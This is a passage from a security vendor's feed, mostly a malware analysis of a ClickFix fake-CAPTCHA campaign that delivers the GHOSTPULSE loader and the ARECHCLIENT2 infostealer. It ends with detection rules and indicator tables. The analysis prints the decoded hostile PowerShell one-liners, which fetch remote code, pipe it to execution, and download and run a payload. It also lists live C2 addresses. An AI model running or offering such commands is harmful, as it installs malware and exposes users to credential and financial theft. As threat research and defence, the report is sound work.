| <code>Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101213 Opera/9.80 (Windows NT 6.1; U; zh-tw) Presto/2.7.62 Version/11.01 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36</code> |  User-Agent |                     | User-Agent observed during exploitation via IIS ViewState injection |</p>
<h2 id="references">References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://www.microsoft.com/en-us/security/blog/2025/02/06/code-injection-attacks-using-publicly-disclosed-asp-net-machine-keys/">https://www.microsoft.com/en-us/security/blog/2025/02/06/code-injection-attacks-using-publicly-disclosed-asp-net-machine-keys/</a></li>
<li><a href="https://asec.ahnlab.com/en/87804/">https://asec.ahnlab.com/en/87804/</a></li>
<li><a href="https://unit42.paloaltonetworks.com/initial-access-broker-exploits-leaked-machine-keys/">https://unit42.paloaltonetworks.com/initial-access-broker-exploits-leaked-machine-keys/</a></li>
<li><a href="https://blog.blacklanternsecurity.com/p/aspnet-cryptography-for-pentesters">https://blog.blacklanternsecurity.com/p/aspnet-cryptography-for-pentesters</a></li>
<li><a href="https://github.com/ekkoo-z/Z-Godzilla_ekp">https://github.com/ekkoo-z/Z-Godzilla_ekp</a></li>
<li><a href="https://x.com/AzakaSekai_/status/1969294757978652947">https://x.com/AzakaSekai_/status/1969294757978652947</a></li>
</ul>
<h2 id="addendum">Addendum</h2>
<p>HarfangLab posted their draft research on this threat the same day this post was released. In it, there are additional complementary insights:</p>
<ul>
<li>https://x.com/securechicken/status/1980715257791193420</li>
<li>https://harfanglab.io/insidethelab/rudepanda-owns-iis-servers-like-2003/</li>
</ul>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/threat-command/tollbooth</link>
    <guid isPermaLink="false">tollbooth</guid>
    <category><![CDATA[Malware Analysis]]></category>
    <dc:creator><![CDATA[Daniel Stepanic,Jia Yu Chan,Salim Bitam,Seth Goodwin,Andrew Pease,Braxton Williams]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt4929a343ee261996/6a7c971e437e0f2a9bdd5a84/tollbooth.png" length="0" type="image/png"/>
    <pubDate>Wed, 22 Oct 2025 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[A Wretch Client: From ClickFix deception to information stealer deployment]]></title>
    <description><![CDATA[Elastic Security Labs detected a surge in ClickFix campaigns, using GHOSTPULSE to deploy Remote Access Trojans and data-stealing malware.]]></description>
    <content:encoded><![CDATA[<h2 id="preamble">Preamble</h2>
<p>Elastic Security Labs has observed the ClickFix technique gaining popularity for multi-stage campaigns that deliver various malware through social engineering tactics.</p>
<p>Our threat intelligence indicates a substantial surge in activity leveraging <a href="https://krebsonsecurity.com/2024/09/this-windows-powershell-phish-has-scary-potential/">ClickFix</a> (<a href="https://www.proofpoint.com/us/blog/threat-insight/clipboard-compromise-powershell-self-pwn">technique first observed</a>) as a primary initial access vector. This social engineering technique tricks users into copying and pasting malicious PowerShell that results in malware execution. Our telemetry has tracked its use since last year, including instances leading to the deployment of new versions of the <a href="https://www.elastic.co/security-labs/tricks-and-treats">GHOSTPULSE loader</a>. This led to campaigns targeting a broad audience using malware and infostealers, such as <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma">LUMMA</a> and <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.sectop_rat">ARECHCLIENT2</a>, a family first observed in 2019 but now experiencing a significant surge in popularity.</p>
<p>This post examines a recent ClickFix campaign, providing an in-depth analysis of its components, the techniques employed, and the malware it ultimately delivers.</p>
<h2 id="keytakeaways">Key takeaways</h2>
<ul>
<li><strong>ClickFix:</strong> Remains a highly effective and prevalent initial access method.</li>
<li><strong>GHOSTPULSE:</strong> Continues to be widely used as a multi-stage payload loader, featuring ongoing development with new modules and improved evasion techniques. Notably, its initial configuration is delivered within an encrypted file.</li>
<li><strong>ARECHCLIENT2 (SECTOPRAT):</strong> Has seen a considerable increase in malicious activity throughout 2025.</li>
</ul>
<h2 id="theinitialhookdeconstructingclickfixssocialengineering">The Initial Hook: Deconstructing ClickFix's Social Engineering</h2>
<p>Every successful multi-stage attack begins with a foothold, and in many recent campaigns, that initial step has been satisfied by ClickFix. ClickFix leverages human psychology, transforming seemingly innocuous user interactions into the very launchpad for compromise.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltd9fcbca5c7db6589/6a7c75b6bd2198783a7520d6/image1.png" alt="" /></p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt97257e8091bdb351/6a7c75b951156a02952bc6e4/image15.png" alt="Fake captcha" title="Fake captcha" /></p>
<p>At its core, ClickFix is a social engineering technique designed to manipulate users into inadvertently executing malicious code on their systems. It preys on common online behaviors and psychological tendencies, presenting users with deceptive prompts – often disguised as browser updates, system errors, or even CAPTCHA verifications. The trick is simple yet incredibly effective: instead of a direct download, the user is instructed to copy a seemingly harmless "fix" (which is a malicious PowerShell command) and paste it directly into their operating system's run dialog. This seemingly voluntary action bypasses many traditional perimeter defenses, as the user initiates the process.</p>
<p>ClickFix first emerged on the threat landscape in March 2024, but it has rapidly gained traction, exploding in prevalence throughout 2024 and continuing its aggressive ascent into 2025. Its effectiveness lies in exploiting "verification fatigue" – the subconscious habit users develop of mindlessly clicking through security checks. When confronted with a familiar-looking CAPTCHA or an urgent "fix it" button, many users, conditioned by routine, simply comply without scrutinizing the underlying request. This makes <strong>ClickFix</strong> an incredibly potent initial access vector, favored by a broad spectrum of threat actors due to its high success rate in breaching initial defenses.</p>
<p>Our recent Elastic Security research on <strong><a href="https://www.elastic.co/security-labs/eddiestealer">EDDIESTEALER</a></strong> provides another concrete example of <strong>ClickFix</strong>'s efficacy in facilitating malware deployment, further underscoring its versatility and widespread adoption in the threat landscape.</p>
<p>Our internal telemetry at Elastic corroborates this trend, showing a significant volume in ClickFix-related alerts across our observed environments, particularly within Q1 2025. We've noted an increase in attempts compared to the previous quarter, with a predominant focus on the deployment of mass infection malware, such as RATs and InfoStealers.</p>
<h2 id="aclickfixcampaignsjourneytoarechclient2">A ClickFix Campaign's Journey to ARECHCLIENT2</h2>
<p>The <strong>ClickFix</strong> technique often serves as the initial step in a larger, multi-stage attack. We've recently analyzed a campaign that clearly shows this progression. This operation begins with a <strong>ClickFix</strong> lure, which tricks users into starting the infection process. After gaining initial access, the campaign deploys an updated version of the <strong><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.hijackloader">GHOSTPULSE</a></strong> Loader (also known as <strong>HIJACKLOADER</strong>, <strong>IDATLOADER</strong>). This loader then brings in an intermediate .NET loader. This additional stage is responsible for delivering the final payload: an <strong><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.sectop_rat">ARECHCLIENT2</a></strong> (<strong>SECTOPRAT</strong>) sample, loaded directly into memory. This particular attack chain demonstrates how adversaries combine social engineering with hidden loader capabilities and multiple execution layers to steal data and gain remote control ultimately.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt011cfae87a7e5681/6a7c75bc1967eaa67432a69e/image16.png" alt="Execution flow" title="Execution flow" /></p>
<p>We observed this exact campaign in our telemetry on , providing us with a direct look into its real-world execution and the sequence of its components.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltdddb423ab0a179ff/6a7c75bfb437706ab84d0dce/image6.png" alt="Execution flow in Kibana" title="Execution flow in Kibana" /></p>
<h2 id="technicalanalysisoftheinfection">Technical analysis of the infection</h2>
<p>The infection chain begins with a phishing page that imitates a Cloudflare anti-DDoS Captcha verification. </p>
<p>We observed two infrastructures (both resolving to <code>50.57.243[.]90</code>) <code>https://clients[.]dealeronlinemarketing[[.]]com/captcha/</code> and <code>https://clients[.]contology[.]com/captcha/</code> that deliver the same initial payload.</p>
<p>User interaction on this page initiates execution. GHOSTPULSE serves as the malware loader in this campaign. Elastic Security Labs has been closely tracking this loader, and our previous research (<a href="https://www.elastic.co/security-labs/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks">2023 and</a> <a href="https://www.elastic.co/security-labs/tricks-and-treats">2024</a>) provided a detailed look into its initial capabilities.</p>
<p>!<a href="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt4f387901f4ed9cdd/6a885752501a85ca09fc20d5/image12.png" title="Fake captcha hosted by contology[]].com">Fake captcha hosted by contology[.]com</a></p>
<p>The webpage is a heavily obfuscated JavaScript script that generates the HTML code and JavaScript, which copies a PowerShell command to the clipboard.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltb60ef036ae5fc23a/6a7c75c2437e0f7f2ddd53a1/image20.png" alt="Obfuscated JavaScript of the captcha page" title="Obfuscated JavaScript of the captcha page" /></p>
<p>Inspecting the runtime HTML code in a browser, we can see the front end of the page, but not the script that is run after clicking on the checkbox <code>Verify you are human.</code></p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt00919eb667c131af/6a7c75c5b437705feb4d0dd3/image26.png" alt="HTML code of the captcha page" title="HTML code of the captcha page" /></p>
<p>A simple solution is to run it in a debugger to retrieve the information during execution. The second JS code is obfuscated, but we can easily identify two interesting functions. The first function, <code>runClickedCheckboxEffects</code>, retrieves the public IP address of the machine by querying <code>https://api.ipify[.]org?format=json,</code> then it sends the IP address to the attacker’s infrastructure,  <code>https://koonenmagaziner[.]click/counter/&amp;lt;IP_address&gt;,</code> to log the infection.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt1a643e0c982f25ce/6a7c75c8e3a219388b999575/image19.png" alt="JavaScript of the captcha page" title="JavaScript of the captcha page" /></p>
<p>The second function copies a base64-encoded PowerShell command to the clipboard.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blta69de7e495b1a3cb/6a7c75cc1967ea83bc32a6ac/image11.png" alt="Command copied to the clipboard by the JavaScript script" title="Command copied to the clipboard by the JavaScript script" /></p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt93d403d509ecd3e8/6a7c75cfde2315abedfd1c18/image25.png" alt="PowerShell command copied to the clipboard" title="PowerShell command copied to the clipboard" /></p>
<p>Which is the following when it is base64 decoded</p>
<pre><code>(Invoke-webrequest -URI 'https://shorter[.]me/XOWyT' 
    -UseBasicParsing).content | iex
</code></pre>
<p>When executed, it fetches the following PowerShell script:</p>
<pre><code>Invoke-WebRequest -Uri "https://bitly[.]cx/iddD" -OutFile 
    "$env:TEMP\ComponentStyle.zip"; Expand-Archive -Path 
    "$env:TEMP/ComponentStyle.zip" -DestinationPath 
    "$env:TEMP"; &amp; "$env:TEMP\crystall\Crysta_x86.exe"
</code></pre>
<p>The observed infection process for this campaign involves <strong>GHOSTPULSE</strong>'s deployment as follows: After the user executes the PowerShell command copied by <strong>ClickFix</strong>, the initial script fetches and runs additional <strong>commands</strong>. These PowerShell <strong>commands</strong> download a ZIP file (<code>ComponentStyle.zip</code>) from a remote location and then extract it into a temporary directory on the victim's system.</p>
<p>Extracted contents include components for <strong>GHOSTPULSE</strong>, specifically a benign executable (<code>Crysta_X64.exe</code>) and a malicious dynamic-link library (<code>DllXDownloadManager.dll</code>). This setup utilizes <strong>DLL sideloading</strong>, a technique in which the legitimate executable loads the malicious <strong>DLL</strong>. The file (<code>Heeschamjet.rc</code>) is the <strong>IDAT</strong> file that contains the next stage's payloads in an encrypted format</p>
<p>and the file <code>Shonomteak.bxi,</code> which is encrypted and used by the loader to fetch the stage 2 and configuration structure.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt2d953b0c3d9b792e/6a7c75d1e88c657f36005659/image23.png" alt="Content of ComponentStyle.zip" title="Content of ComponentStyle.zip" /></p>
<h2 id="ghostpulse">GHOSTPULSE</h2>
<h3 id="stage1">Stage 1</h3>
<p><strong>GHOSTPULSE</strong> is malware dating back to 2023. It has continuously received numerous updates, including a new way to store its encrypted payload in an image by embedding the payload in the PNG’s pixels, as detailed in <a href="https://www.elastic.co/security-labs/tricks-and-treats">Elastic’s 2024 research blog post</a>, and new modules from <a href="https://www.zscaler.com/blogs/security-research/analyzing-new-hijackloader-evasion-tactics">Zscaler research</a>.</p>
<p>The malware used in this campaign was shipped with an additional encrypted file named <code>Shonomteak.bxi</code>. During stage 1 of the loader, it decrypts the file using a DWORD addition operation with a value stored in the file itself.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt51a0ff2e28da24a2/6a7c75d496b5a695de8753b2/image5.png" alt="Decryption of Shonomteak.bxi file" title="Decryption of Shonomteak.bxi file" /></p>
<p>The malware then extracts the stage 2 code from the decrypted file Shonomteak.bxi and injects it into a loaded library using the <code>LibraryLoadA</code> function. The library name is stored in the same decrypted file; in our case, it is <code>vssapi.dll</code>.</p>
<p>The stage 2 function is then called with a structure parameter containing the filename of the IDAT PNG file, the stage 2 configuration that was inside the decrypted <code>Shonomteak.bxi,</code> and a boolean field <code>b_detect_process</code> set to <code>True</code> in our case.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blte271e1a2c7952282/6a7c75d75967e57a7e5d738b/image14.png" alt="Structure used in stage 2" title="Structure used in stage 2" /></p>
<h3 id="stage2">Stage 2</h3>
<p>When the boolean field <code>b_detect_process</code> is set to True, the malware executes a function that checks for a list of processes to see if they are running. If a process is detected, execution is delayed by 5 seconds.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltbf34ce5e8bef6519/6a7c75da42a117fed9955ef5/image13.png" alt="Delays execution by 5 seconds" title="Delays execution by 5 seconds" /></p>
<p>In previous samples, we analyzed GHOSTPULSE, which had its configuration hardcoded directly in the binary. This sample, on the other hand, has all the necessary information required for the malware to function properly, stored in <code>Shonomteak.bxi,</code> including:</p>
<ul>
<li>Hashes for the DLL names and Windows APIs</li>
<li>IDAT tag: used to find the start of the encrypted data in the PNG file</li>
<li>IDAT string: Which is simply “IDAT”</li>
<li>Hashes of processes to scan for</li>
</ul>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt172c14524bec2766/6a7c75dd42a1172214955efb/image4.png" alt="API fetching hashes stored in GHOSTPULSE configuration rather than hardcoded" title="API fetching hashes stored in GHOSTPULSE configuration rather than hardcoded" /></p>
<h3 id="finalthoughtsonghostpulse">Final thoughts on GHOSTPULSE</h3>
<p>GHOSTPULSE has seen multiple updates. The use of the IDAT header method to store the encrypted payload, rather than the new method we discovered in 2024, which utilizes pixels to store the payload, may indicate that the builder of this family maintained both options for compiling new samples.</p>
<p>Our configuration extractor performs payload extraction using both methods and can be used for mass analysis on samples. You can find the updated tool in our <a href="https://github.com/elastic/labs-releases/tree/main/tools/ghostpulse">labs-releases repository</a>.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt286ff1067d26ee35/6a7c75df3ce8e242c3cef52a/image17.png" alt="Payload extraction from the GHOSTPULSE sample" title="Payload extraction from the GHOSTPULSE sample" /></p>
<h2 id="arechclient2">ARECHCLIENT2</h2>
<p>In 2025, a notable increase in activity involving ARECHCLIENT2 (SectopRAT) was observed. This heavily obfuscated .NET remote access tool, initially <a href="https://www.gdatasoftware.com/blog/2019/11/35548-new-sectoprat-remote-access-malware-utilizes-second-desktop-to-control-browsers">identified in November 2019</a> and known for its information-stealing features, is now being deployed by GHOSTPULSE through the Clickfix social engineering technique. Our prior research documented the initial deployment of GHOSTPULSE utilizing ARECHCLIENT2 around 2023.</p>
<p>The payload deployed by GHOSTPULSE in a newly created process is an x86 native .NET loader, which in its turn loads ARECHCLIENT2.</p>
<p>The loader goes through 3 steps:</p>
<ul>
<li>Patching AMSI</li>
<li>Extracting and decrypting the payload</li>
<li>Loading the CLR, then reflectively loading ARECHCLIENT2 </li>
</ul>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltad876a5b8203c6e3/6a7c75e2baa1a526eecbc606/image22.png" alt="Main entry of the .NET loader" title="Main entry of the .NET loader" /></p>
<p>Interestingly, its error handling for debugging purposes is still present, in the form of message boxes using the <code>MessageBoxA</code> API, for example, when failing to find the <code>.tls</code> section, an error message box with the string <code>"D1"</code> is displayed.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltb4db0946d43c0900/6a7c75e51967ea422432a6b8/image18.png" alt="Debugging/error messages through a message box" title="Debugging/error messages through a message box" /></p>
<p>The following is a table of all the error messages and their description:</p>
<p>| Message |          Description          |
|:-------:|:-----------------------------:|
| F1      | <code>LoadLibraryExW</code> hooking failed |
| F2      | AMSI patching failed          |
| D1      | Unable to find <code>.tls</code> section   |
| W2      | Failed to load CLR            |</p>
<p>The malware sets up a hook on the <code>LoadLibraryExW</code> API. This hook waits for <code>amsi.dll</code> to be loaded, then sets another hook on <code>AmsiScanBuffer 0</code>, effectively bypassing AMSI.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blta86599049d412b36/6a7c75e8c2cc09ed202431d6/image2.png" alt="Hooking LoadLibraryExW" title="Hooking LoadLibraryExW" /></p>
<p>After this, the loader fetches the pointer in memory to the <code>.tls</code> section by parsing the PE headers. The first <code>0x40</code> bytes of this section serve as the XOR key, and the rest of the bytes contain the encrypted ARECHCLIENT2 sample, which the loader then decrypts.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt50a92d2990b29c6b/6a7c75eb3ce8e28ef3cef52e/image7.png" alt="Payload decryption routine" title="Payload decryption routine" /></p>
<p>Finally, it loads the .NET Common Language Runtime (CLR) in memory with <a href="https://learn.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/clrcreateinstance-function">CLRCreateInstance</a> Windows API before reflectively loading ARECHCLIENT2. The following is an <a href="https://gist.github.com/xpn/e95a62c6afcf06ede52568fcd8187cc2">example </a>of how it is performed.</p>
<p>ARECHCLIENT2 is a potent remote access trojan and infostealer, designed to target a broad spectrum of sensitive user data and system information. The malware's core objectives primarily focus on:</p>
<ul>
<li><strong>Credential and Financial Theft:</strong> ARECHCLIENT2 explicitly targets cryptocurrency wallets, browser-saved passwords, cookies, and autofill data. It also aims for credentials from FTP, VPN, Telegram, Discord, and Steam.</li>
</ul>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltf7fdf3bbc585f92d/6a7c75eebaa1a598ffcbc60a/image9.png" alt="DNSPY view of the StealerSettingConfigParce class" title="DNSPY view of the StealerSettingConfigParce class" /></p>
<ul>
<li><strong>System Profiling and Reconnaissance:</strong> ARECHCLIENT2 gathers extensive system details, including the operating system version, hardware information, IP address, machine name, and geolocation (city, country, and time zone).</li>
</ul>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltdcd2d089649eb066/6a7c75f0ead8ec0726ba476d/image3.png" alt="DNSPY view of ScanResult class" title="DNSPY view of ScanResult class" /></p>
<ul>
<li><strong>Command Execution:</strong> ARECHCLIENT2 receives and executes commands from its command-and-control (C2) server, granting attackers remote control over infected systems.</li>
</ul>
<p>The <strong>ARECHCLIENT2</strong> malware connects to its C2 <code>144.172.97[.]2,</code> which is hardcoded in the binary as an encrypted string, and also retrieves its secondary C2 (<code>143.110.230[.]167</code>) IP from a hardcoded pastebin link <code>https://pastebin[.]com/raw/Wg8DHh2x</code>. </p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt46d04280be36e4cc/6a7c75f396b5a6641b8753ba/image21.png" alt="ARECHCLIENT2 configuration from DNSPY" title="ARECHCLIENT2 configuration from DNSPY" /></p>
<h2 id="infrastructureanalysis">Infrastructure analysis</h2>
<p>The malicious captcha page was hosted under two domains <code>clients.dealeronlinemarketing[.]com</code> and <code>clients.contology[.]com</code> under the URI <code>/captcha</code> and <code>/Client</code> pointing to the following IP address <code>50.57.243[.]90</code>.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltab4e894bf187490b/6a7c75f61967ea4fc032a6c0/image10.png" alt="" /></p>
<p>We've identified that both entities are linked to a digital advertising agency with a long operational history. Further investigation reveals that the company has consistently utilized client subdomains to host various content, including PDFs and forms, for advertising purposes.</p>
<p>We assess that the attacker has likely compromised the server <code>50.57.243[.]90</code> and is leveraging it by exploiting the company's existing infrastructure and advertising reach to facilitate widespread malicious activity.</p>
<p>Further down the attack chain, analysis of the ARECHCLIENT2 C2 IPs (<code>143.110.230[.]167</code> and <code>144.172.97[.]2</code>) revealed additional campaign infrastructure. Both servers are hosted on different autonomous systems, AS14061 and AS14956.</p>
<p>Pivoting on a shared banner hash (<a href="https://x.com/ValidinLLC">@ValidinLLC</a>’s <code>HOST-BANNER_0_HASH</code>, which is the hash value of the web server response banners) revealed 120 unique servers across a range of autonomous systems over the last seven months. Of these 120, 19 have been previously labeled by various other vendors as “Sectop RAT" (aka ARECHCLIENT2) as documented in the <a href="https://github.com/stamparm/maltrail/blob/master/trails/static/malware/sectoprat.txt">Maltrail repo</a>.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blte10561016052a176/6a7c75faead8ec5373ba4771/image24.png" alt="ARECHCLIENT2 Host Banner Hash Pivot, courtesy @ValidinLLC" title="ARECHCLIENT2 Host Banner Hash Pivot, courtesy @ValidinLLC" /></p>
<p>Performing focused validations of the latest occurrences (first occurrence after June 1, 2025) against VirusTotal shows community members have previously labeled all 13 as Sectop RAT C2.</p>
<p>All these servers have similar configurations:</p>
<ul>
<li>Running Canonical Linux</li>
<li>SSH on <code>22</code></li>
<li>Unknown TCP on <code>443</code></li>
<li>Nginx HTTP on <code>8080</code>, and</li>
<li>HTTP on <code>9000</code> (C2 port)</li>
</ul>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt25138c7aab9e6482/6a7c75fd437e0fabd5dd540e/image8.png" alt="ARECHCLIENT2 C2 Server Profile, courtesy @censysio" title="ARECHCLIENT2 C2 Server Profile, courtesy @censysio" /></p>
<p>The service on port <code>9000</code> has Windows server headers, whereas the SSH and NGINX HTTP services both specify Ubuntu as the operating system. This suggests a reverse proxy of the C2 to protect the actual server by maintaining disposable front-end redirectors.</p>
<p>ARECHCLIENT2 IOC:</p>
<ul>
<li><code>HOST-BANNER_0_HASH: 82cddf3a9bff315d8fc708e5f5f85f20</code></li>
</ul>
<p>This is an active campaign, and this infrastructure is being built and torn down at a high cadence over the last seven months. As of publication, the following C2 nodes are still active:</p>
<p>| Value           | First Seen | Last Seen  |
|-----------------|------------|------------|
| <code>66.63.187.22</code>    | 2025-06-15 | 2025-06-15 |
| <code>45.94.47.164</code>    | 2025-06-02 | 2025-06-15 |
| <code>84.200.17.129</code>   | 2025-06-04 | 2025-06-15 |
| <code>82.117.255.225</code>  | 2025-03-14 | 2025-06-15 |
| <code>45.77.154.115</code>   | 2025-06-05 | 2025-06-15 |
| <code>144.172.94.120</code>  | 2025-05-20 | 2025-06-15 |
| <code>79.124.62.10</code>    | 2025-05-15 | 2025-06-15 |
| <code>82.117.242.178</code>  | 2025-03-14 | 2025-06-15 |
| <code>195.82.147.132</code>  | 2025-04-10 | 2025-06-15 |
| <code>62.60.247.154</code>   | 2025-05-18 | 2025-06-15 |
| <code>91.199.163.74</code>   | 2025-04-03 | 2025-06-15 |
| <code>172.86.72.81</code>    | 2025-03-13 | 2025-06-15 |
| <code>107.189.24.67</code>   | 2025-06-02 | 2025-06-15 |
| <code>143.110.230.167</code> | 2025-06-08 | 2025-06-15 |
| <code>185.156.72.80</code>   | 2025-05-15 | 2025-06-15 |
| <code>85.158.110.179</code>  | 2025-05-11 | 2025-06-15 |
| <code>144.172.101.228</code> | 2025-05-13 | 2025-06-15 |
| <code>192.124.178.244</code> | 2025-06-01 | 2025-06-15 |
| <code>107.189.18.56</code>   | 2025-04-27 | 2025-06-15 |
| <code>194.87.29.62</code>    | 2025-05-18 | 2025-06-15 |
| <code>185.156.72.63</code>   | 2025-06-12 | 2025-06-12 |
| <code>193.149.176.31</code>  | 2025-06-08 | 2025-06-12 |
| <code>45.141.87.249</code>   | 2025-06-12 | 2025-06-12 |
| <code>176.126.163.56</code>  | 2025-05-06 | 2025-06-12 |
| <code>185.156.72.71</code>   | 2025-05-15 | 2025-06-12 |
| <code>91.184.242.37</code>   | 2025-05-15 | 2025-06-12 |
| <code>45.141.86.159</code>   | 2025-05-15 | 2025-06-12 |
| <code>67.220.72.124</code>   | 2025-06-05 | 2025-06-12 |
| <code>45.118.248.29</code>   | 2025-01-28 | 2025-06-12 |
| <code>172.105.148.233</code> | 2025-06-03 | 2025-06-10 |
| <code>194.26.27.10</code>    | 2025-05-06 | 2025-06-10 |
| <code>45.141.87.212</code>   | 2025-06-08 | 2025-06-08 |
| <code>45.141.86.149</code>   | 2025-05-15 | 2025-06-08 |
| <code>172.235.190.176</code> | 2025-06-08 | 2025-06-08 |
| <code>45.141.86.82</code>    | 2024-12-13 | 2025-06-08 |
| <code>45.141.87.7</code>     | 2025-05-13 | 2025-06-06 |
| <code>185.125.50.140</code>  | 2025-04-06 | 2025-06-03 |</p>
<h2 id="conclusion">Conclusion</h2>
<p>This multi-stage cyber campaign effectively leverages ClickFix social engineering for initial access, deploying the <strong>GHOSTPULSE</strong> loader to deliver an intermediate .NET loader, ultimately culminating in the memory-resident <strong>ARECHCLIENT2</strong> payload. This layered attack chain gathers extensive credentials, financial, and system data, while also granting attackers remote control capabilities over compromised machines.</p>
<h3 id="mitreattck">MITRE ATT&amp;CK</h3>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.</p>
<h4 id="tactics">Tactics</h4>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0001/">Initial Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0011/">Command and Control</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0009/">Collection</a></li>
</ul>
<h4 id="techniques">Techniques</h4>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1566/">Phishing</a><ul>
<li><a href="https://attack.mitre.org/techniques/T1566/002/">Spearphishing Link</a> <a href="https://attack.mitre.org/techniques/T1204/">User Execution</a></li>
<li><a href="https://attack.mitre.org/techniques/T1204/002/">Malicious Link</a></li>
<li><a href="https://attack.mitre.org/techniques/T1204/002/">Malicious File</a></li></ul></li>
<li><a href="https://attack.mitre.org/techniques/T1059/">Command and Scripting Interpreter</a><ul>
<li><a href="https://attack.mitre.org/techniques/T1059/001/">PowerShell</a> </li>
<li><a href="https://attack.mitre.org/techniques/T1140/">Deobfuscation/Decoding</a></li></ul></li>
<li><a href="https://attack.mitre.org/techniques/T1073/">DLL Sideloading</a></li>
<li><a href="https://attack.mitre.org/techniques/T1620/">Reflective Loading</a></li>
<li><a href="https://attack.mitre.org/techniques/T1204/">User Interaction</a></li>
<li><a href="https://attack.mitre.org/techniques/T1105/">Ingress Tool Transfer</a></li>
<li><a href="https://attack.mitre.org/techniques/T1082/">System Information Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1057/">Process Discovery</a> </li>
<li><a href="https://attack.mitre.org/techniques/T1539/">Steal Web Session Cookie</a></li>
</ul>
<h2 id="detectingmalware">Detecting [malware]</h2>
<h3 id="detection">Detection</h3>
<p>Elastic Defend detects this threat with the following <a href="https://github.com/elastic/protections-artifacts/tree/main/behavior">behavior protection rules</a>:</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/execution_suspicious_command_shell_execution_via_windows_run.toml">Suspicious Command Shell Execution via Windows Run</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/command_and_control_dns_query_to_suspicious_top_level_domain.toml">DNS Query to Suspicious Top Level Domain</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/command_and_control_library_load_of_a_file_written_by_a_signed_binary_proxy.toml">Library Load of a File Written by a Signed Binary Proxy</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/command_and_control_connection_to_webservice_by_a_signed_binary_proxy.toml">Connection to WebService by a Signed Binary Proxy</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/discovery_potential_browser_information_discovery.toml">Potential Browser Information Discovery</a></li>
</ul>
<h4 id="yara">YARA</h4>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/tree/main/yara/rules/Windows_Trojan_GhostPulse.yar">Windows_Trojan_GhostPulse</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/tree/main/yara/rules/Windows_Trojan_Arechclient2.yar">Windows_Trojan_Arechclient2 </a></li>
</ul>
<h2 id="observations">Observations</h2>
<p>The following observables were discussed in this research.</p>
<p>| Observable                                                       | Type      | Name                    | Reference                                                                   |
|------------------------------------------------------------------|-----------|-------------------------|-----------------------------------------------------------------------------|
| <code>clients.dealeronlinemarketing[.]com</code>                              | domain    | Captcha subdomain       |                                                                             |
| <code>clients.contology[.]com</code>                                          | domain    | Captcha subdomain       |                                                                             |
| <code>koonenmagaziner[.]click</code>                                          | domain    |                         |                                                                             |
